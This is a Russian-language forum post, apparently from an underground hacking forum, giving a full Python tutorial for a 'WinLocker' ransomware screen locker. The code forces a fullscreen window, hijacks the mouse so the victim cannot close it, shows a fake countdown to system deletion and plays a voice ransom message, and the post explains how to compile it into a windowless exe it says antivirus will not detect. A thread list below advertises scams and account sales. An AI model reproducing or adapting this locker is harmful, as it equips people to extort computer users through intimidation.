WinLocker на python. Пишем вирус.

AmneziaWG

Traven

Original poster
Pro Member
Сообщения
117
Реакции
59
Посетить сайт
Копипаст

Всем привет! В этой статье мы с вами напишем локер для компьютера,на базе Windows или UNIX систем. Наша программа будет блокировать систему пользователя,пока он не введет пароль.В простонародье данный вирус называют "

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

"

Установка Python
Переходим на официальный сайт PythonА -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

Скачиваем последнюю версию и устанавливаем ее.
Посмотреть вложение 7361 Посмотреть вложение 7362 Посмотреть вложение 7363

Суть работы программы
Наш вирус будет работать по такому принципу. Программа открывается на весь экран,у нее нет кнопки закрыть. Доступно поле для ввода пароля и кнопка для разблокировки. Пока жертва не введет правильный пароль,мышка будет постоянно кликать на кнопку,и переводить туда курсор. Это будет мешать пользователю свернуть окно или убить его через диспетчер задач. Так же будет таймер отсчитывающий время до удаления системы. На самом деле,он ничего не удалит, но хорошо припугнут жертву и например заставит скорее перевести деньги. По истечении времени таймер сменится на надпись - "Удаление системы" Вот и вся суть программы)

Начинаем кодить
#Комментарии к коду будут помечены #комментарий
Для написания вы можете использовать обычный IDLE от питона,или любой другой.
Для начала мы должны к нашей программе подключить нужные нам библиотеки. Библиотека - написанные коды/функции,которые подключаются к нашей программе.
Код:
from tkinter import *  #говорим питону с библиотеки tkinter импортировать все
import pyautogui  #говорим питону импортировать библиотеку pyautogui
import pygame  #говорим питону импортировать библиотеку pygame

__________________________________________________________________________________
Но при запуске нам выдаст ошибку,указывающую на отсутствие библиотек pyautogui и pygame. Они не являются стандартными и их нужно установить. Для этого выполняем действия как на видео(через систему для установки пакетов мы ставим нужные нам библиотеки)

___________________________________________________________________________________
Дальше мы зададим переменные, которые мы будем использовать.

Код:
read1ng=" " #переменная, в которой будет храниться введенный пользователем пароль
password=("vlmi") #переменная с паролем от локера, можно установить что-то свое
t1me=7200 #переменная с временем таймера в секундах.
d3l="Удаление системы..." # переменная для отображения на экране текстового сообщения


____________________________________________________________________________________
Почти в самом начале мы должны создать функции. Которые будут отвечать за блокировку компьютера и за проверку на ввод правильного пароля.
Сначала создаем функцию блокировки компьютера.

Код:
def block(): #создаем функцию, которая называется block
    pyautogui.click(x=675,y=405) #делаем клик по координатам X и Y
    pyautogui.moveTo(x=675,y=405) #переводим мышку в позицию координат X и Y
    screen.protocol("WM_DELETE_WINDOW",block) #Запрещаем использование комбинаций F4/alt+F4/Fn+F4, и при их использовании вызывает функцию block
    screen.update() #переменную с нашим экраном мы обновляем.

Теперь мы создаем функцию, которая проверяет, введен ли правильный пароль.

Код:
def password_check(event): #создаем функцию, которая называется password_check, и имеет аргумент event
    global read1ng #создаем глобальную переменную read1ng.
    read1ng=field.get() #переменной read1ng мы присваиваем значение,которое мы считаем(.get) с поля для ввода(field).
    if read1ng==password: #создаем условие,если переменная read1ng равняется переменной password,то:
        screen.destroy() #окно программы(screen) мы уничтожаем/закрываем


____________________________________________________________________________________
Дальше мы должны создать окно нашего локера,которое откроется на весь экран.

Код:
screen=Tk() #screen - это просто название переменной. Которой мы присваиваем ему создания окна приложения
screen.title("WinLock vlmi.su") #задаем нашему окну название/заголовок.
screen.attributes("-fullscreen",True) #задаем окну атрибут - "на весь экран",который является правдой/активным.
screen.configure(background="#1c1c1c") #устанавливаем фоновой цвет на наше окно.
pyautogui.FAILSAFE=False #отключение остановки библиотеки autogui при дерганьи мышки. Если не включить это, то при дергание мышки pyautogui просто прекратит выполнять все действия.



_____________________________________________________________________________________
Теперь мы создадим объекты для нашей программы - кнопку,поле для ввода и надписи.

Код:
field=Entry(screen,fg="green",justify=CENTER) #создаем переменную,которая равняется полю для ввода,которое расположено на нашем окне(screen),цвет для текста - зеленый, текст будет по центру.
but=Button(screen,text="Разблокировать") #создаем переменную,которая равняется кнопке,которая расположена на нашем окне(screen),и имеет на себе надпись("Разблокировать")
text0=Label(screen,text="Ваша система заблокирована!",font="TimesNewRoman 30",fg="white",bg="#1c1c1c") #создаем переменную,которая равняется надписи,имеет свой текст, шрифт и размер, цвет текста фона.
text=Label(screen,text="Danaforevr для конкурса VLMI.SU",font="TimesNewRoman 30",fg="#32CD32",bg="#1c1c1c") #тоже самое,что и выше
text1=Label(screen,text="Не перезагружайте компьютер, это удалит вашу систему!",font = "TimesNewRoman 16",fg="red",bg="#1c1c1c") #тоже самое,что и выше
l=Label(text=t1me,font="Arial 22",fg="red",bg="#1c1c1c") # так же как и выше,только здесь текст равен переменной(t1me),которая стоит у нас в начале и имеет значение 7200.
l1=Label(text="До удаления системы осталось:",fg="white",bg="#1c1c1c",font="Arial 15") #простая надпись как и выше


______________________________________________________________________________________
У нас есть кнопка и она должна что-то делать. В нашем случае при нажатии на кнопку будет выполняться проверка на правильность пароля.

Код:
but.bind('<Button-1>',password_check) #к переменной but(нашей кнопке) мы привязываем функцию password_check,которая выполнится при нажатии ЛКМ

______________________________________________________________________________________
До этого мы просто создали переменные с объектами,а теперь эти объекты нужно отобразить/отрисовать на экране.
(используем функцию .place(), которая принимает значения x и y - координаты)

Код:
text.place(x=380,y=180) #переменную text мы отображаем на координатах X и Y
field.place(width=150,height=50,x=600,y=300) #переменной field мы устанавливаем ширину,высоту и отображаем на координатах X и Y
but.place(width=150,height=50,x=600,y=380) #переменной but мы устанавливаем ширину,высоту и отображаем на координатах X и Y
text0.place(x=410,y=100) #переменную text0 мы отображаем на координатах X и Y
text1.place(x=410,y=250) #переменную text1 мы отображаем на координатах X и Y
l1.place(x=20,y=70) #переменную l1 мы отображаем на координатах X и Y
l.place(x=20,y=100) #переменную l мы отображаем на координатах X и Y


_______________________________________________________________________________________
В winlock-ерах принято оставлять сообщения с информацией,требованием перевода денег. Я решил, что оставлять текстовое сообщение - слишком банально, и при запуске нашего вируса будет проигрываться голосовое сообщение.
Голосовое сообщение я сделал с помощью этого сервиса -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.

. Музыка/сообщение должно быть в формате .wav, можно использовать конвертеры.

Код:
pygame.init() #мы запускаем код с библиотеки, которую мы импортировали.
aud=pygame.mixer.Sound("message.wav") #создаем переменную которая являться подключением звукового файла,который называется message.wav
aud.play() #запускаем нашу переменную на воспроизведение.



_______________________________________________________________________________________
Дальше мы должны обновить наш экран и выполнить нажатие на поле для ввода.

Код:
screen.update() #переменную с нашим экраном мы обновляем.
pyautogui.click(x=675,y=325) #делаем клик по координатам X и Y
pyautogui.moveTo(x=660,y=410) #переводим мышку в позицию координат X и Y


________________________________________________________________________________________
Теперь мы должны запустить цикл, который будет работать,пока от пользователя мы не получим правильный пароль.

Код:
while read1ng!=password: #запускаем цикл,который работает пока переменная read1ng не равняется переменной password
    l.configure(text=t1me) #изменяем конфигурацию переменной l, а точнее - меняем значение text="" на переменную t1me
    screen.after(300) #делаем задержку в 300 миллисекунд.
    if t1me==0: #условие,если переменная t1me равна 0, то :
        t1me=d3l #переменной time присваивается переменная d3l
#Это нам нужно для работы с таймером, если таймер дойдет до нуля,отчет должен просто остановится. В нашем случае вывести текст про удаление системы.
    if t1me!=d3l: #условие,если переменная t1me равна переменной d3l, то :
        t1me=t1me-1 #переменная t1me равна переменной time от которой отняли 1
    block() #вызываем функцию block , она у нас в самом начале
#Это все будет повторяться, пока пользователь не введет правильный пароль.

Компилируем в exe
При запуске программы(F5) все будет работать, но распространять код и установщик питона, это явно не лучший вариант. Поэтому мы наш код скомпилируем в exe файл. Для этого мы через pip установить специальную программу.Смотрим видео!)

После установки мы должны открыть папку с нашей программой на питоне и запустить pyinstaller с такими аргументами
-F соберет все файлы в один exe файл
-w отключит консоль
-i *путь к иконке* аргумент,который подключит к программе иконку
Смотрим видео!)

После в папке dist появится наш код скомпилированный в EXE. У него есть 2 минуса.
  1. Большой вес, исправить можно удалив голосовое сообщение,и заодно отключить импорт pygame.
  2. Долгий запуск, это происходит из за сбора всех файлов в один. Наш exe можно назвать архивом, который распаковывается в временную папку. Этого можно избежать не собирая все в один файл.
!!!ВАЖНО если вы добавили голосовое сообщение и скомпилировали программу, файл с звуком(message.wav) должен лежать рядом с EXE иначе программа крашнется.

Исходники и заключение
Скачать готовую программу и исходники вы можете по ссылке -

Авторизируйтесь или Зарегистрируйтесь что бы просматривать ссылки.


!!!ВАЖНО - пароль от локера
Для просмотра содержимого вам необходимо авторизоваться.

Вот мы и написали наш простой локер, да диспетчер задач и комбинации alt+tab будут работать, но из-за постоянных кликов - сложно убить процесс. Наш вирус не будет палится антивирусами, ведь им не на что реагировать. В нашей программе нету взаимодействия с системой пользователя.

Словарик
IDLE/IDE - среда для разработки программного обеспечения.
Библиотека/модуль
- написанные коды/функции,которые подключаются к нашей программе.
pip - система для установки пакетов(Для Python).
Переменная - ячейка в памяти,которая имеет свое уникальное название и может хранить определенную информацию
Функция - часть кода, который имеет свое уникальное название по которому его можно запустить/вызвать
Цикл - действие, которое будет повторятся N-ное количество раз и может зависит от определенного условия
_______________


Вся информация написана в целях ознакомления,автор не несет ответственность за использование данного материала)
 
  • Like
Реакции: JRD
Название темы
Автор Заголовок Раздел Ответы Дата
T Пишем WinLocker на Delphi С/C++ 0
CoderUnicorn Приветствуем всех, кто заинтересован в арбитраже трафика на платформах Google и Facebook! Предоставляю работу. Ищу специалиста. 0
Support81 ФБР объявила охоту на владельца ботнет-сети из Молдовы Новости в сети 0
V Заплачу дропу(дропше) 10 000 рублей за прохождение верификации на вебмани.Год рождения 1977 или старше. Корзина 0
V Куплю через гаранта аккаунт модератора на теневом форуме. Корзина 0
Support81 «Крыша» за криптовалюту: экс-полицейский МВД России в розыске за взятки на 4,9 млрд рублей Новости в сети 0
turbion0 Мошенник под видом начальника обманул петрозаводчанку почти на миллион рублей Новости в сети 0
Support81 Экс-сотрудник ФСБ на службе у хакеров: 9 лет тюрьмы за крышевание преступников Новости в сети 0
Y Ожидает оплаты YTparser - Парсер ютуба в телеграмме | Почты | ВКонтакте | Ссылки на каналы | И многое другое Продажа софта 0
Emilio_Gaviriya Статья Внедрение DNS-over-HTTPS на уровне операционной системы в KDE neon и Ubuntu. Анонимность и приватность 0
Support81 LockBit или DragonForce? Кибератака на Палау привела IT-специалистов в замешательство Новости в сети 0
hackway Куплю Автоматическая Скупка Аккаунтов ВКонтакте | Самые выгодные предложения на рынке! Куплю/Продам 0
El_IRBIS Интересно Проверка маршрутизатора на наличие вредоносных программ: полное руководство Вирусология 0
Support81 Криптовалютная империя на крови: KuCoin обвиняется в отмывании $9 млрд. Новости в сети 1
Tera_shop Продам Telegram аккаунты для рассылки, инвайта (Session + Json, Tdata) Tear-shop.ru Купить аккаунты на сайте: https://tear-shop.ru/ Tear-shop - Магазин Аккаунты/Админки/Документы 1
obscure Интересно YouTube канал на кардер\хаккинг\скам\кодер тематику Видео/Музыка 0
Support81 Был героем – стал злодеем: почему уставшие ИБ-специалисты встают на путь криминала Новости в сети 0
F Ручное размещение тем на разных форумах и продажа базы. Ищу работу. Предлагаю свои услуги. 2
Support81 Loop DoS: бесконечные циклы на службе киберпреступников Новости в сети 0
M Работа на выгодных условиях без особого труда. Предоставляю работу. Ищу специалиста. 0
Support81 ФБР: технологии могут повлиять на американские выборы в 2024 году Новости в сети 1
Emilio_Gaviriya Статья Поиск уязвимостей на хосте. Уязвимости и взлом 1
Support81 Американские власти наложили санкции на разработчиков спайвари Predator Новости в сети 0
Support81 Фишинг-кит CryptoChameleon ориентирован на пользователей мобильных устройств Новости в сети 0
srv24 Продам SRV24 - выделенные серверы в 193 странах мира от 15$! Скидки при оплате на 1 год! Заходи! Сайты/Хостинг/Сервера 1
Support81 Xeno RAT опубликован на GitHub: продвинутый кибершпионаж теперь доступен каждому Новости в сети 0
Support81 Более 100 тысяч зараженных репозиториев на GitHub маскируются под легитимные проекты Новости в сети 0
Emilio_Gaviriya Статья Как ловить хакеров на живца. Уязвимости и взлом 0
Support81 Картинки PNG - новый способ доставки троянов на компьютеры организаций Новости в сети 1
Support81 Темный рыцарь на продажу: в чьих руках окажется исходный код вымогателя Knight 3.0? Новости в сети 0
Emilio_Gaviriya Статья Безопасность на серверах. Уязвимости и взлом 0
Support81 Google разоблачила сеть компаний-шпионов, работающих на правительства Новости в сети 1
turbion0 Министерство юстиции США раскрыло схему мошенничества с криптовалютой на 1,89 млрд долларов. Новости в сети 0
turbion0 В Пензе мошенница получила от государства миллион рублей на несуществующих детей Новости в сети 0
turbion0 Мошенники оформили на малоимущих астраханцев 30 млн рублей кредитов Новости в сети 0
Support81 Взлом или небрежность? Код и пароли Binance были доступны на GitHub в течение нескольких месяцев Новости в сети 0
Emilio_Gaviriya Статья Защита конфиденциальности: Как сбросить данные на Android в экстренных ситуациях. Полезные статьи 0
Support81 Просчитались, но где? Заказ на убийство в зашифрованном чате обернулся для бандитов тюрьмой Новости в сети 0
0 Лутаем Кэш на рефаунде Сбермаркета Способы заработка 0
0 Лутаем Кэш на бесконечной подписке Яндекс Плюс Способы заработка 0
Emilio_Gaviriya Статья Инструкция по обнаружению хоста и тестированию на проникновение. Уязвимости и взлом 0
Ёшкин_кот Интересно Определение объёма встроенной видео памяти на ноутбуке. Свободное общение и флейм 0
Support81 Conti и Royal получили мощного союзника: хакеры 3AM вступают в игру, но кто они на самом деле? Новости в сети 0
Support81 Обманутые старики и пропавшие миллионы: член группировки Black Axe осужден на 10 лет тюрьмы Новости в сети 0
Support81 Запрет на выплаты вымогателям: как отказ от выкупа усилит атаки на критическую инфраструктуру Новости в сети 0
АнАлЬнАя ЧуПаКаБрА Сервис Проект с выводом на крипту + (Покупка лотерейных билетов) Проекты Private Keeper 0
DELTABEK Как зарабатывать 100.000 рублей в день на арбитраже криптовалют? Способы заработка 5
Support81 В 2023 году Роскомнадзор заблокировал на 10% меньше страниц, чем в прошлом году Новости в сети 1
D До 7к на Бездепах казино Способы заработка 1
Ёшкин_кот Интересно Пишем любой текст на листочке который держит обнажённая девушка. 18+ Свободное общение и флейм 0

Название темы